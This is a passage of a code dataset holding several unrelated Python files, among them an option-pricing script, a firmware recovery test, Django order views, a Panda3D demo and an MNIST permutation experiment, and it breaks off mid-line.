buy_sell_para[each] = df[each+'_offset']\n \n return buy_sell_para\n\ndef cal_buy_sell_vol(future,f_atm,Tdays,strike_lst):\n in_put = {'TimeToMaturity':Tdays,'strike':strike_lst}\n \n myfuture = future\n param_list = ['vol_ref', 'vcr', 'slope_ref', 'scr','dn_cf', 'up_cf',\\\n 'put_curv', 'call_curv','dn_sm', 'up_sm', 'dn_slope', 'up_slope']\n \n benchmark = GetDataMySQL.get_std_paramdata(myfuture.split('-')[0],myfuture.split('-')[1],model='wing')\n benchmark['f_atm'] = f_atm\n benchmark_bs = BAspread(benchmark,param_list)\n \n benchmark = benchmark[['alpha','f_atm','f_ref','ssr','vol_ref','vcr',\\\n 'slope_ref','scr','dn_cf','up_cf','call_curv',\\\n 'dn_sm','up_sm','dn_slope','up_slope','put_curv','day']]\n \n benchmark_bs = benchmark_bs[['alpha','f_atm','f_ref','ssr','vol_ref','vcr',\\\n 'slope_ref','scr','dn_cf','up_cf','call_curv',\\\n 'dn_sm','up_sm','dn_slope','up_slope','put_curv','day']]\n \n benchmark.index = [0]*len(benchmark)\n benchmark_bs.index = [0]*len(benchmark_bs)\n \n vol_mid = TimeSeriesInterpolator.time_interpolate(benchmark,in_put)\n vol_bs = TimeSeriesInterpolator.time_interpolate(benchmark_bs,in_put)\n \n vol_mid.set_index('strike',inplace=True)\n vol_bs.set_index('strike',inplace=True)\n \n vol_buy = vol_mid-vol_bs\n vol_sell = vol_mid+vol_bs\n \n vol_buy.reset_index(inplace=True)\n vol_sell.reset_index(inplace=True)\n \n return vol_buy,vol_sell\n\ndef Tprice_realtime(strikeprice,step,increment,temp_input):\n '''ATM strikeprice'''\n '''上下实虚档数'''\n '''档数步幅'''\n \n S=temp_input[0]\n T=temp_input[1]\n r=temp_input[2]\n q=temp_input[3]\n myfuture = temp_input[4]\n \n kk=[]\n vol = []\n#%% 判断每步间隔大小\n if strikeprice*increment>2.5:\n incrementamount=round(increment*strikeprice/5)*5\n else:\n incrementamount=round(increment*strikeprice) \n#%% 产生strike序列\n Kprice_lst = [incrementamount*i+strikeprice for i in range(-step,step+1)]\n vol_buy,vol_sell = cal_buy_sell_vol(myfuture,S,T*365,Kprice_lst)\n#%% 循环输出T形状列表 \n for i in range(-step,step+1):\n \n Kprice = incrementamount*i+strikeprice\n sigma_buy = vol_buy[vol_buy['strike']==Kprice]['vol'].values[0]\n \n sigma_sell = vol_sell[vol_sell['strike']==Kprice]['vol'].values[0]\n \n ecb=round(European_Call(S,Kprice,T,sigma_buy,r,q),4)\n epb=round(European_Put(S,Kprice,T,sigma_buy,r,q),4)\n ecs=round(European_Call(S,Kprice,T,sigma_sell,r,q),4)\n eps=round(European_Put(S,Kprice,T,sigma_sell,r,q),4)\n \n K=[epb,eps,Kprice,ecb,ecs]\n vol_row = [sigma_buy,sigma_sell,Kprice,sigma_buy,sigma_sell]\n \n kk.append(K)\n vol.append(vol_row)\n \n kk=pd.DataFrame(kk,columns=['看跌买价','看跌卖价','执行价','看涨买价','看涨卖价'])\n vol = pd.DataFrame(vol,columns=['看跌买方波动率','看跌卖方波动率','执行价','看涨买方波动率','看涨卖方波动率'])\n \n kk = kk.sort_values(by='执行价',axis=0,ascending=False)\n vol = vol.sort_values(by='执行价',axis=0,ascending=False)\n \n kk.reset_index(inplace=True,drop=True)\n vol.reset_index(inplace=True,drop=True)\n \n return kk,vol\n\n#%% 欧式看涨期权定价\ndef European_Call(S,K,T,sigma,r,q):\n \n d1 = (np.log(S/K)+(r-q+0.5*sigma**2)*T)/(sigma*np.sqrt(T))\n d2 = (np.log(S/K)+(r-q-0.5*sigma**2)*T)/(sigma*np.sqrt(T))\n V = S*np.exp(-q*T)*norm.cdf(d1)-K*np.exp(-r*T)*norm.cdf(d2)\n\n return V\n#%% 欧式看跌期权定价\ndef European_Put(S,K,T,sigma,r,q):\n\n d1 = (np.log(S/K)+(r-q+0.5*sigma**2)*T)/(sigma*np.sqrt(T))\n d2 = (np.log(S/K)+(r-q-0.5*sigma**2)*T)/(sigma*np.sqrt(T))\n V =K*np.exp(-r*T)*norm.cdf(-d2)-S*np.exp(-q*T)*norm.cdf(-d1)\n\n return V\n\n\nif __name__ == '__main__': \n myfuture_lst = GetDataMySQL.get_future_info()\n myfuture = myfuture_lst[1]\n strikeprice = 2800\n step = 5\n increment = 0.01\n f_atm = 2850\n Tdays = 90\n #vol_buy,vol_sell = cal_buy_sell_vol(myfuture,f_atm,Tdays,strike_lst)\n #print(vol_buy)\n #print(vol_sell)\n temp_input = [f_atm,Tdays/365,0.01,0,myfuture]\n out_put1,out_put2 = Tprice_realtime(strikeprice,step,increment,temp_input)\n print(out_put1)\n print(out_put2)\n \n \n ","sub_path":"Guosen_OTC_Option_RT/Tprice_RealTime.py","file_name":"Tprice_RealTime.py","file_ext":"py","file_size_in_byte":4888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"406287571","text":"#desafio\n#digitando um valor inteir realizar a soma dos numeros que compoem o numero digitando\n#exemplo: input 432 então 4+3+2 = 9\n\nentrada = int(input(\"Entre com um valor \"))\n\nrestodivisao = 0\ntotal = 0\n\nwhile entrada > 0:\n restodivisao = entrada % 10\n entrada = entrada // 10\n total += restodivisao\n print(\"entrada\",entrada,\"soma resto da divisao\",restodivisao,\"soma do resto\",total)\n","sub_path":"semana4/desafiowhile.py","file_name":"desafiowhile.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"504806587","text":"'''\n******************************************************************************\n Copyright 2013 EMC Inc.\n\n[Filename]: tc_bmc_ms_CorruptWholePrimaryBMCImageTest.py\n[Author ]: Frank.He@emc.com\n[Purpose ]: BMC can boot the system if the primary BMC fw images are missing in SPI flashs.\n[Contains]: \n tc_bmc_ms_CorruptWholePrimaryBMCImageTest - class\n __init__\n test\n run\n[History ]:\n******************************************************************************\n VERSION EDITOR DATE COMMENT\n******************************************************************************\n V1.0 Frank.He@emc.com 3/20/2014 First edition\n******************************************************************************\n'''\n\nfrom case.CBaseCase import *\n\nclass tc_bmc_ms_CorruptWholePrimaryBMCImageTest(CBaseCase):\n \n \"\"\"\n ************************************************************************************************\n [Purpose ]: BMC can boot the system if the primary BMC fw images are missing in SPI flashs.\n [Author ]: Frank.He@emc.com\n [Method ]:\n [ReqID ]: \n [Sprint ]: Sprint2.0.17\n [Ticket ]: ATOM-732\n [Platform]: Megatron,Triton\n [Type ]: Auto\n ************************************************************************************************\n \"\"\"\n \n def __init__(self):\n CBaseCase.__init__(self, self.__class__.__name__)\n\n \n def test(self):\n \n if self.enclosure.sp.bmc.reboot_bmc_from_cs0() != 0:\n self.result(FAIL,'BMC reboot from CS0 with error')\n \n if self.enclosure.sp.bmc.bmc_boot_to_hornet() != 0:\n self.result(FAIL,'BMC failed to boot to uboot')\n \n if self.enclosure.sp.bmc.corrupt_whole_primary_bmc_image() != 0:\n self.result(FAIL,'failed to corrupt BMC primary image')\n \n self.enclosure.ac_cycle()\n \n if self.enclosure.sp.bmc.bmc_boot_up_from_cs1() != 0:\n self.result(FAIL,'failed step: boot from CS0 hang, switch to boot from CS1')\n \n if self.enclosure.sp.bmc.is_bmc_primary_image_recovered() != 0:\n self.result(FAIL, 'BMC primary image is not recovered')\n \n if self.enclosure.sp.bmc.bmc_boot_up_from_cs0() != 0:\n self.result(FAIL, 'Fail step: BMC will boot up from CS0 again')\n \n self.enclosure.sp.boot_to_moonraker() \n \n \n ","sub_path":"case/OUT_OF_DATE/tc_bmc_ms_CorruptWholePrimaryBMCImageTest.py","file_name":"tc_bmc_ms_CorruptWholePrimaryBMCImageTest.py","file_ext":"py","file_size_in_byte":2477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"94873387","text":"from django.shortcuts import render,redirect,reverse,get_object_or_404\nfrom django.template.loader import render_to_string\nfrom cart.cart import Cart\nfrom .forms import OrderCreateForm\nfrom .models import Order,OrderItem\nfrom .tasks import order_created\nfrom django.contrib.admin.views.decorators import staff_member_required\nimport weasyprint\nfrom django.conf import settings\nfrom django.http import HttpResponse\n\n# Create your views here.\ndef order_create(request):\n cart=Cart(request)\n if request.method=='POST':\n form=OrderCreateForm(request.POST)\n if form.is_valid():\n order=form.save(commit=False)\n if cart.coupon:\n order.coupon=cart.coupon\n order.discount=cart.coupon.discount\n order.save()\n for item in cart:\n OrderItem.objects.create(order=order,price=item['price'],product=item['product'],quantity=item['quantity'])\n cart.clear()\n #order_created.delay(order.id)\n request.session['order_id']=order.id \n return redirect(reverse('payment:process'))\n else:\n form=OrderCreateForm()\n return render(request,'orders/create.html',\n {\n 'form':form,\n 'cart':cart\n })\n\n\n@staff_member_required\ndef admin_order_detail(request,order_id):\n order=get_object_or_404(Order,id=order_id)\n return render(request,'admin/orders/order/detail.html',{\n 'order':order})\n\n@staff_member_required\ndef admin_order_pdf(request,order_id):\n order=get_object_or_404(Order,id=order_id)\n html=render_to_string('admin/orders/order/pdf.html',{\n 'order':order})\n response=HttpResponse(content_type='application/pdf')\n response['Content-Dispositon']='attachment; filename=\"order_{}.pdf\"'.format(order.id)\n css=weasyprint.CSS(settings.STATIC_ROOT+'css/pdf.css')\n weasyprint.HTML(string=html).write_pdf(response,stylesheets=[css])\n return response\n\n \n\n\n\n \n\n","sub_path":"orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"255568716","text":"import sqlite3\n\n\nclass Room(object):\n \"\"\"Betting room object\"\"\"\n\n def __init__(self, key, db):\n command = 'SELECT * from rooms where key=\"' + key + '\"'\n room = db.execute(command).fetchone()\n\n if room:\n self.__db = db\n self.key = key\n self.ownerID = room['ownerID']\n\n @property\n def users(self):\n db = self.__db\n\n command = 'SELECT * from users where roomKey=\" + self.key + \"'\n cur = db.execute(command)\n\n users = []\n for row in cur.fetchall():\n users.append(dict(row))\n\n return users\n","sub_path":"room.py","file_name":"room.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"203021671","text":"'''\nCreated on Jul 29, 2016\n\n@author: wale\n'''\nfrom institution.models import Patient, Record, Hospital\nfrom django.shortcuts import get_object_or_404\nfrom django.contrib.admin.models import LogEntry\nfrom datetime import datetime\nfrom _functools import reduce\nfrom django.db.models import Q\nimport json\n\n\n\n\ndef today_record(_hospital):\n \n records=Record.objects.filter(hospital=_hospital).today().values('patient_id')\n print(\"Today {} :{}\".format(_hospital,records.count()))\n return records.count()\n\n \n\ndef today_record_sex(_hospital,gender):\n \n records=Record.objects.filter(hospital=_hospital).today().values('patient_id')\n \n count=0\n \n if records:\n for p_id in records:\n if Patient.objects.get(id=p_id['patient_id']).sex==gender:\n count+=1\n #print(\"today {} records count is {}\".format(gender,count))\n return count\n\ndef today_record_diag(_hospital,diag):\n \n records=Record.objects.filter(diagnosis=diag,hospital=_hospital).today()\n #print(\"today {} records count is {}\".format(diag,records.count()))\n return records.count()\n \ndef today_record_diag_sex(_hospital,_patient,diag,gender):\n \n records=Record.objects.filter(diagnosis=diag,hospital=_hospital).today().values('patient_id')\n \n patients=0\n if records:\n for p_id in records:\n if Patient.objects.get(id=p_id['patient_id']).sex==gender:\n patients+=1\n \n \n return patients\n\n\"\"\"\nHelper method to get id of log entries am intrested in\nfrom django.contrib.admin.models import ContentType\nctypes = ContentType.objects.all()\nfor t in ctypes:\n print \"%s%s\"%(t.id,t)\n\n\"\"\"\n\ndef get_recent_actions(_user):\n \"\"\"Retieve recentactions based on chosen models\"\"\"\n tracked_fields=[6,7,8,9,10,11,12]\n log=LogEntry.objects.filter(content_type_id__in=tracked_fields,user_id=_user).order_by(\"-action_time\")\n \n return log\n\ndef month_year_diag_record(_hospital,diag):\n \n months=range(0,12)\n months_name=[\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\"];\n result_list = []\n for mm in months:\n q_objects = Q(date__month=mm,diagnosis=diag)\n this_query = Record.objects.filter(q_objects,hospital=_hospital).values('patient_id')\n #print(\"this diag count {} : {} \".format(diag,this_query.count()))\n result_list.append(this_query.count())\n \n return result_list\n","sub_path":"stats/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"610676040","text":"# Package Description: Funtrench's Eden Software Development Kit\r\n# Name: Eden Feature Tests SDK\r\n# Desc: Test Project for the Creation Class\r\n# File name: CreationTest.py\r\n# Developed by: Project Eden Development Team\r\n# Date: 14/07/2008\r\n# Place: Nairobi, Kenya\r\n# |------------------------------------------------|\r\n# | (C)2009 Funtrench Limited. |\r\n# |------------------------------------------------|\r\nfrom Eden.Eden3D.Worlds.Creation import Creation\r\nfrom Eden.Eden2D.Text2D import Text2D\r\nfrom direct.task import Task\r\n# --------------------------------------------------\r\n# A class to demonstrate the features of the Creation\r\n# Class.\r\n# Class definition for the CreationTest class\r\n# --------------------------------------------------\r\nclass CreationTest(Creation):\r\n \" Extending the Creation class for the basic Eden world \"\r\n # ------------------CONSTRUCTOR------------------------\r\n # ----------------------------------------------------\r\n def __init__(self): # constructor\r\n # the startupTask can be a custom one as in this case or\r\n # you can argue 'Default' to use the default task provided\r\n # leaving it blank means you will handle startup tasks yourself\r\n Creation.__init__(self, self.starterTask, customPRC={'fullscreen':False}) # ancestral constructor\r\n t_f = [('arial.egg', 'Arial')]\r\n self.textPlay = Text2D(self.edenVisuals.fpsValue, t_f)\r\n # load geometry (the ViS Cube)\r\n self.loadGeometry('cube', 'cube', (0.25,0.25,0.25), (0,0,5))\r\n # load the text resources\r\n # -----------------------------------------------------------------\r\n self.textKeys = ['title', 'instruction1', 'instruction2', 'instruction3', \\\r\n 'instruction4', 'instruction5', 'instruction6', 'instruction7']\r\n # compute the text positions\r\n self.textPositions = []\r\n for t_p in range(8):\r\n t_j = ( -1.30, 0, 0.95 - (t_p * 0.05) )\r\n self.textPositions.append(t_j)\r\n # title\r\n self.textPlay.loadTextLine('Creation Test. Powered by Funtrench', \\\r\n self.textKeys[0])\r\n # instructions\r\n self.textPlay.loadTextLine('Press ESCAPE to quit', self.textKeys[1])\r\n t_i = 'LMB: Move camera X-Z, RMB: Move camera Y, MMB: Camera Orientation'\r\n self.textPlay.loadTextLine(t_i, self.textKeys[2])\r\n self.textPlay.loadTextLine('F/B: Increment/Decrement cube X', self.textKeys[3])\r\n self.textPlay.loadTextLine('G/H: Increment/Decrement cube Y', self.textKeys[4])\r\n self.textPlay.loadTextLine('A/J: Increment/Decrement cube Z', self.textKeys[5])\r\n self.textPlay.loadTextLine('I: Show game information', self.textKeys[6])\r\n self.textPlay.loadTextLine('D: Show documentation', self.textKeys[7])\r\n # game info - this variable contains all the game 'About' information\r\n # in a readily-presentable format.\r\n self.textPlay.loadTextLine(self.gameID, 'Game')\r\n # manual text\r\n t_n = self.gameMVC.mvcStructure['tier_resource']['text'] + '/CreationTest.txt'\r\n self.textPlay.loadTextFile(t_n, 'Doc')\r\n # -----------------------------------------------------------------\r\n # setup key bindings\r\n self.accept(\"f\", self.cubeAlter, [+1, \"X\"])\r\n self.accept(\"b\", self.cubeAlter, [-1, \"X\"] )\r\n self.accept(\"g\", self.cubeAlter, [+1, \"Y\"] )\r\n self.accept(\"h\", self.cubeAlter, [-1, \"Y\"] )\r\n self.accept(\"a\", self.cubeAlter, [+1, \"Z\"] )\r\n self.accept(\"j\", self.cubeAlter, [-1, \"Z\"] )\r\n self.accept(\"s\", self.screenCapture, ['../Creation_'])\r\n self.accept(\"d\", self.textPlay.displayText, ['Doc', 30, (-1.00,0,0.35), False])\r\n self.accept(\"i\", self.textPlay.displayText, ['Game', 30, (0.20,0,0.95), False])\r\n self.accept(\"c\", self.textPlay.clearScreen)\r\n # ------------------BEHAVIORS-------------------------\r\n # ----------------------------------------------------\r\n def cubeAlter(self, valueChange, valueType):\r\n \" alters co-ordinate position of cube \"\r\n if valueType == \"X\":\r\n self.objectStore['cube'][0].setX(self.objectStore['cube'][0].getX() + \\\r\n valueChange)\r\n elif valueType == \"Y\":\r\n self.objectStore['cube'][0].setY(self.objectStore['cube'][0].getY() + \\\r\n valueChange)\r\n elif valueType == \"Z\":\r\n self.objectStore['cube'][0].setZ(self.objectStore['cube'][0].getZ() + \\\r\n valueChange)\r\n # ------------------TASKS-----------------------------\r\n # ----------------------------------------------------\r\n def starterTask(self, task):\r\n \" task to handle the startup \"\r\n if task.time == 0.0:\r\n # hide the cursor for opening (only if it is visible). The setting\r\n # in config.xml will affect the cursor immediately from startup and\r\n # into the game. If you want to have it visible during the game but\r\n # not at startup, use the procedure demonstrated here.\r\n if self.worldData['showMouse'] != 0:\r\n # since the cursor is visible, this hides it\r\n self.toggleMouseCursor()\r\n # if sound is at startup then play\r\n if self.mediaFlag[1] == True and self.worldData['playAfter'] == 0:\r\n self.gameMusic.setLoop(True)\r\n self.gameMusic.play()\r\n if self.mediaFlag[0] == True:\r\n # show the screens with the n-second delay\r\n self.edenVisuals.sequenceAllImages(self.visualDelay)\r\n return task.cont\r\n else:\r\n if self.edenVisuals.virginFlag == True:\r\n # show text\r\n self.textPlay.displayTextCluster(self.textKeys, self.textPositions)\r\n # show the cursor again because now we are through with\r\n # opening screens\r\n if self.worldData['showMouse'] != 0:\r\n self.toggleMouseCursor()\r\n return task.done\r\n else:\r\n # all other frames\r\n return task.cont\r\n \r\n","sub_path":"feature_tests/creation_class/scripts/CreationTest.py","file_name":"CreationTest.py","file_ext":"py","file_size_in_byte":6148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"446311989","text":"from song import Song\nclass User:\n def __init__(self):\n self.name=''\n self.age=0\n self.gender=''\n self.songList=[Song]\n self.id=''\n\n def info(self,id,name,age,gender,songList):\n self.id=id\n self.name=name\n self.age=age\n self.gender=gender\n self.songList=songList\n\n def print(self):\n print(self.id+' '+self.name+' '+self.age+' '+self.gender)\n for s in self.songList:\n s.print()\n\n","sub_path":"class0510/homeworkPython/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"544940224","text":"__author__ = 'johannes'\n\nimport PyQt4.QtGui\n\nclass TracksDetailedView(PyQt4.QtGui.QWidget):\n def __init__(self, parent=None):\n PyQt4.QtGui.QWidget.__init__(self, parent)\n\n self.trackName = PyQt4.QtGui.QTextEdit()\n self.trackName.setText(\"Trackname\")\n self.trackDistance = PyQt4.QtGui.QLabel(\"0.00 km\")\n\n self.vLayout = PyQt4.QtGui.QVBoxLayout()\n self.vLayout.addWidget(self.trackName)\n self.vLayout.addWidget(self.trackDistance)\n self.setLayout(self.vLayout)\n","sub_path":"view/TrackDetailsView.py","file_name":"TrackDetailsView.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"500231003","text":"#!/usr/bin/env python\n# encoding: utf-8\n# vim: ts=2 expandtab\n\n##\n##\n## @author UWANTWALI ZIGAMA Didier\n## d.zigama@pivotaccess.com/zigdidier@gmail.com\n##\n\n__author__=\"Zigama Didier\"\n__date__ =\"$Nov 22, 2017 1:29:30 PM$\"\n\nimport cherrypy\nimport os, sys\nimport re\nimport subprocess\n\nfrom util.mch_connection import APP_DATA, WEBAPP, FACILITIES\nfrom util.record import fetch_facilities\n\nclass URLMapping(cherrypy.dispatch.Dispatcher):\n def __init__(self, mapper, *args, **kw):\n self.mapper = mapper\n super(URLMapping, self).__init__(*args, **kw)\n\n def __call__(self, path):\n gat = re.search(r'/static/(.*)', path)\n if gat:\n return super(URLMapping, self).__call__(path)\n return super(URLMapping, self).__call__(self.mapper.match(path))\n\ndef mch_main(argv):\n larg = len(argv)\n if larg < 4:\n sys.stderr.write('%s templatedir staticdir staticpath [port] [host]\\r\\n' % (argv[0], ))\n return 1\n pth = os.path.abspath(argv[1])\n stt = argv[2]\n stp = argv[3]\n FACILITIES = fetch_facilities()\n handler = __import__(WEBAPP).Application(pth, stt, stp, APP_DATA, FACILITIES)\n def launch(hst, prt, *args):\n cherrypy.server.socket_host = hst\n cherrypy.server.socket_port = prt\n cherrypy.quickstart(handler, '/', {\n '/': {\n 'request.dispatch': URLMapping(handler),\n 'tools.sessions.on': True\n },\n # '/static':{\n stp:{\n 'tools.staticdir.on': True,\n 'tools.staticdir.root': os.path.abspath(stt),\n # 'tools.staticdir.root': pth,\n 'tools.staticdir.dir': ''\n }\n })\n \n hst = '0.0.0.0'\n prt = '8081'\n if larg == 5:\n prt = argv[4]\n if larg == 6:\n hst = argv[5]\n \n return launch(hst, int(prt))\n\nif __name__ == '__main__':\n bottom = sys.exit(mch_main(sys.argv))\n","sub_path":"src/com/rwanda/mch/scripts/webservice.py","file_name":"webservice.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"221179258","text":"# no letter appears next to another letter of the same kind\n# input = 'ab?ac?', one potential ouput = \"abcaca\"\n# input = \"????????\", one potential output is \"codility\"\n\ndef riddle(s: str):\n \"\"\"\n Time: O(N)\n Space: O(1)\n \"\"\"\n s = list(s)\n for i in range(len(s)):\n if s[i] == '?':\n for j in range(26):\n char = chr(ord('a') + j)\n\n left = i == 0 or s[i - 1] != char\n right = i == len(s) - 1 or s[i+1] != char\n if left and right:\n s[i] = char\n break\n return ''.join(s)\n\nif __name__ == \"__main__\":\n s = [\"ab?ac?\", \"rd?e?wg??\", \"????????\"]\n print(riddle(s[1]))\n","sub_path":"riddle.py","file_name":"riddle.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"609871818","text":"import os, math, cv2, time\nimport numpy as np\nimport tensorflow as tf\nimport NeuralNetwork as mlp\nimport NeuralNetworkMasked as mlpm\nfrom datetime import datetime\nimport matplotlib.pyplot as plt\nimport Utilities as utils\nfrom shutil import copy2\nimport matplotlib.style\nfrom numpy.random import seed\nfrom keras.datasets import cifar10\nimport DataBaseManager\n\nprint(\"Tensorflow version \" + tf.__version__)\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\n# tf.set_random_seed(12)\nnp.set_printoptions(threshold=np.nan)\n\n# Parameters\nlrmax = 0.001\nlrmin = 0.0005\ndecayrate = 0.0001\n\nlearning_rate = [lrmax, lrmin, decayrate]\ntraining_epochs = 200\n\ncurrentFileName = os.path.basename(__file__).replace(\".py\", \"\")\n# currentFileName = currentFileName.replace(\".py\", \"\")\nrunName = currentFileName + \"_\" + utils.DateToString()\ndirName = \"./Outputs/\" + runName + \"/\"\nworkingDir = os.getcwd()\n\n\ndef PrepareMNISTData():\n from tensorflow.examples.tutorials.mnist import input_data\n\n mnist = input_data.read_data_sets(\"/tmp/data/\", one_hot=True)\n\n pad_up = 0\n pad_dn = 0\n\n TestInput = mnist.test.images.reshape(-1, 28, 28, 1)\n TestInput = np.pad(TestInput, ((0, 0), (pad_up, pad_dn), (pad_up, pad_dn), (0, 0)), 'constant', constant_values=(0, 0))\n TestLabels = mnist.test.labels\n\n TrainInput = mnist.train.images.reshape(-1, 28, 28, 1)\n TrainInput = np.pad(TrainInput, ((0, 0), (pad_up, pad_dn), (pad_up, pad_dn), (0, 0)), 'constant', constant_values=(0, 0))\n TrainLabels = mnist.train.labels\n\n # print(TestInput.shape)\n # print(TestLabels.shape)\n\n print(\"Data set: MNIST\")\n\n return TrainInput, TrainLabels, TestInput, TestLabels, 10\n\n\ndef standardize3D(X):\n # print(X.shape)\n # print(X[0].reshape(1, 28, 28))\n\n # take a slice\n X1 = X[:, :, :, 0]\n # print(X1.shape)\n\n # print(X1[0])\n\n # reshape the slice\n\n X1 = X1.reshape(X1.shape[0], -1)\n\n # print(X1.shape)\n\n mean = np.mean(X1, axis=1)\n v = np.std(X1, axis=1)\n # print(mean.shape)\n # print(v.shape)\n\n x = (X1 - mean.reshape(mean.shape[-1], X.shape[-1]))\n x = x / v.reshape(v.shape[-1], X.shape[-1])\n # x = x.reshape(X.shape)\n # print(x.shape)\n # print(x[0])\n # input()\n\n return x.reshape(X.shape)\n\n\ndef standardize(X):\n X1 = X.reshape(-1, )\n\n mean = np.mean(X, axis=1)\n v = np.std(X, axis=1)\n print(X.shape)\n print(mean.shape)\n print(v.shape)\n\n x = (X - mean.reshape(mean.shape[-1], -1))\n return x\n\n\ndef ScrambleBatch(batch, s=5):\n seed(s)\n\n size = batch.shape[-1]\n p = np.arange(0, size)\n\n if s != 0:\n p = np.random.permutation(size)\n\n scrambled = batch[:, p]\n\n # mean = np.mean(scrambled, 1)\n # var = np.var(scrambled, 1)\n # scrambled -= mean.reshape(batch.shape[0], 1)\n # scrambled /= var.reshape(batch.shape[0], 1)\n\n return scrambled\n\n\ndef randomizedigit(X, Y, s, d):\n condition = np.argmax(Y, 1) == d\n digit = X[condition]\n (b, s1, s2, c) = digit.shape\n seed(s)\n p = np.random.permutation(s1 * s2)\n digit = digit.reshape(b, s1 * s2, c)[:, p, :].reshape(b, s1, s2, c)\n X[condition] = digit\n\n\ndef findaccuracy(prediction, T):\n correct_prediction = np.equal(np.argmax(prediction, 1), np.argmax(T, 1))\n performance = np.mean(correct_prediction.astype(float))\n\n return performance\n\n\ndef TestAccuracy2(X, XT, Y, net):\n # get a zero\n d1 = np.random.randint(500)\n d2 = d1 + 1\n\n Z = X[np.argmax(Y, 1) == 1][d1:d2]\n ZT = XT[np.argmax(Y, 1) == 1][d1:d2]\n (b, s1, s2, c) = Z.shape\n cv2.imshow(\"Z\", utils.MakeGridOfImages(Z[:, :, :, 0]))\n cv2.imshow(\"XT\", utils.MakeGridOfImages(ZT[:, :, :, 0]))\n cv2.waitKey(1)\n\n # print(Z.shape)\n #\n # lastlayer = net.GetPrediction(Z)\n #\n # print(lastlayer.shape)\n # print(lastlayer)\n\n for t in range(0, 10):\n print(\"seed\", t)\n\n Z1 = Z.copy()\n Z1T = ZT.copy()\n if t >= 0:\n seed(t)\n perm = np.random.permutation(s1 * s2)\n Z1 = Z1.reshape(-1, s1 * s2, 1)[:, perm, :].reshape(-1, s1, s2, 1)\n\n lastlayer = net.predict(Z1)\n # print(lastlayer.shape)\n print(lastlayer)\n print(np.max(lastlayer, 1))\n print(np.argmax(lastlayer, 1))\n # print(np.argmax(net.GetPrediction(Z1T), 1))\n\n # input()\n return 0\n\n\ndef TestAccuracy(X, Y, seeds, net):\n acc = 0\n\n # try not to look at the label of the data\n # but test every scrambling procedure on-by-one\n\n # Z = X[np.argmax(Y, 1) == 7].copy()\n # Y1 = Y[np.argmax(Y, 1) == 7].copy()\n\n # Z = X.copy()\n # Y1 = Y.copy()\n\n # cv2.imshow(\"testImages\", utils.MakeGridOfImages(Z[0:100, :, :, 0]))\n\n # here we store all predictions for all transformations\n predictions = np.zeros((0, X.shape[0], 10))\n\n for s in range(0, 10):\n X1 = X.copy()\n\n # here we randomize all data because we don't\n # know which image is what label, so we try all\n (b, s1, s2, c) = X1.shape\n seed(s)\n perm = np.random.permutation(s1 * s2)\n X1 = X1.reshape(b, s1 * s2, c)[:, perm, :].reshape(b, s1, s2, c)\n\n if \"mlp\" in net.namescope:\n X1 = X1.reshape(-1, s1 * s2 * c)\n\n # here we get the prediction of the network on\n # the current transformed data\n lastlayer = net.predict(X1)\n\n # here we store the predictions in an array\n predictions = np.append(predictions, [lastlayer], axis=0)\n # print(findaccuracy(lastlayer, Y))\n\n # cv2.imshow(\"testImages\", utils.MakeGridOfImages(Z[0:100, :, :, 0]))\n # print(collection.shape)\n # input()\n # print(collection.shape)\n # input()\n\n preds = np.zeros((0, predictions.shape[0]))\n\n # here we loop on each example and check the best prediction\n for i in range(0, predictions.shape[1]):\n # here we get a slice of the array, the predictions for\n # the first example transformed with all functions\n sheet = predictions[:, i, :]\n\n # find the maximum values for each transformation\n maxes = np.max(sheet, 0)\n\n # find the position of the largest maximum\n maxpos = np.argmax(maxes)\n\n # mark the position in a prediction vector\n p = np.zeros(10)\n p[maxpos] = 1\n\n # print(\"max0\", np.max(sheet, 0))\n # print(\"max1\", np.max(sheet, 1))\n # print(\"argmax0\", np.argmax(np.max(sheet, 0)))\n # print(\"argmax1\", np.argmax(np.max(sheet, 1)))\n # print(Y1[i])\n\n preds = np.append(preds, [p], axis=0)\n # print(\"pred\", p)\n # print(\"tgt \", Y[i])\n\n # input()\n\n acc = findaccuracy(preds, Y)\n\n return acc\n\n\ndef RandomizeAll(X, s):\n seed(s)\n (b, s1, s2, c) = X.shape\n\n # cv2.imshow(\"X\", utils.MakeGridOfImages(X[0:25, :, :, 0]))\n\n for i in range(0, b):\n x = X[i, :, :, :].reshape(1, s1, s2, c).copy()\n perm = np.random.permutation(s1 * s2)\n x = x.reshape(-1, s1 * s2, c)[:, perm, :].reshape(-1, s1, s2, c)\n X[i, :, :, :] = x\n\n # cv2.imshow(\"XT\", utils.MakeGridOfImages(X[0:25, :, :, 0]))\n # cv2.waitKey(1)\n # input()\n\n # return 0\n\n\ndef RunModels():\n print(\"--- Run Models ---\")\n\n trainImages, trainLabels, testImages, testLabels, nclasses = DataBaseManager.PrepareMNISTData3D()\n # trainImages, trainLabels, testImages, testLabels, nclasses = DataBaseManager.PrepareFashionData3D()\n # trainImages, trainLabels, testImages, testLabels, nclasses = 